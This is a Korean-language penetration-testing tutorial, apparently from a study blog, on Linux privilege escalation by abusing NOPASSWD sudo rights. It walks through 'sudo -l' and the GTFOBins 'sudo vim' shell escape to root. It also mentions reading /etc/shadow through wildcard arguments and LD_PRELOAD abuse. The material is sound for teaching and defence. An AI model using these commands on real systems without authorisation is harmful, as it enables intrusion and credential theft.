hhkb
모의해킹

호스트기반모의해킹_36_리눅스 Sudo 권한 악용

작성자 : Heehyeon Yoo|2025-12-13
# 모의해킹# Post-Exploitation# Linux# Privilege Escalation# Sudo

1. 개요

Sudo(Superuser Do)는 특정 명령어를 루트 권한(또는 다른 사용자 권한)으로 실행할 수 있게 해주는 도구다.
관리자가 편의를 위해 비밀번호 입력 없이(NOPASSWD) 특정 명령어를 루트 권한으로 실행하도록 설정(visudo)하는 경우가 많은데, 이 설정이 쉘 실행이 가능한 프로그램(vim, find, less 등)에 적용되어 있다면 권한 상승 통로가 된다.

2. Sudo 권한 확인

2.1 sudo -l

현재 사용자의 Sudo 권한을 확인하는 가장 기본적이고 중요한 명령어다.

sudo -l
# User low may run the following commands on target:
#   (ALL : ALL) NOPASSWD: /usr/bin/vim
  • NOPASSWD: 비밀번호 입력 없이 명령어 실행 가능.
  • Target: /usr/bin/vim을 루트 권한으로 실행 가능.

3. GTFOBins를 이용한 공격(Exploitation)

Sudo 악용 또한 바이너리의 기능을 이용해 쉘을 탈취하는 것이므로 GTFOBins를 적극 활용한다.

3.1 타겟 분석(Vim 바이너리)

vim 에디터는 내부적으로 쉘 명령어를 실행할 수 있는 기능(:!)이 있다. 만약 vimsudo로 실행할 수 있다면, vim 내부에서 실행하는 쉘도 루트 권한을 갖는다.

  1. GTFOBins 접속 -> "vim" 검색 -> "Sudo" 항목 클릭.
  2. 제공된 페이로드 확인:
    sudo vim -c ':!/bin/sh'
    
    • -c: vim 실행 시 수행할 커맨드.
    • :!/bin/sh: 쉘 실행.

3.2 공격 실행(실습)

# 1. 권한 확인
sudo -l
#(root) NOPASSWD: /usr/bin/vim 확인

# 2. Exploit 실행
sudo vim -c ':!/bin/sh'
# 또는 vim 실행 후 ESC -> :!/bin/sh 엔터

# 3. 권한 확인
# whoami
root
  • 결과: 복잡한 오버플로우 공격 없이도, 정상적인 기능(Feature)을 악용하여 손쉽게 루트 쉘을 획득했다.

4. SUID vs Sudo 차이점

구분SUID(SetUID)Sudo
권한 출처파일 자체의 속성(Permissions)설정 파일(/etc/sudoers)
실행 주체파일 소유자(User/Group)명시된 타겟 사용자(RunAs)
탐지 방법find / -perm -4000sudo -l
공격 방식./find ...(직접 실행)sudo find ...(sudo 경유)

5. 실무 팁

  • 와일드카드(*) 주의: /bin/cat * 처럼 인자가 제한되지 않은 경우, /etc/shadow 같은 민감 문서를 읽을 수 있다.
  • LD_PRELOAD: sudo -l 출력 결과에 env_keep+=LD_PRELOAD 옵션이 보인다면, 악성 공유 라이브러리(so)를 로드하여 즉시 루트 권한을 얻을 수 있다.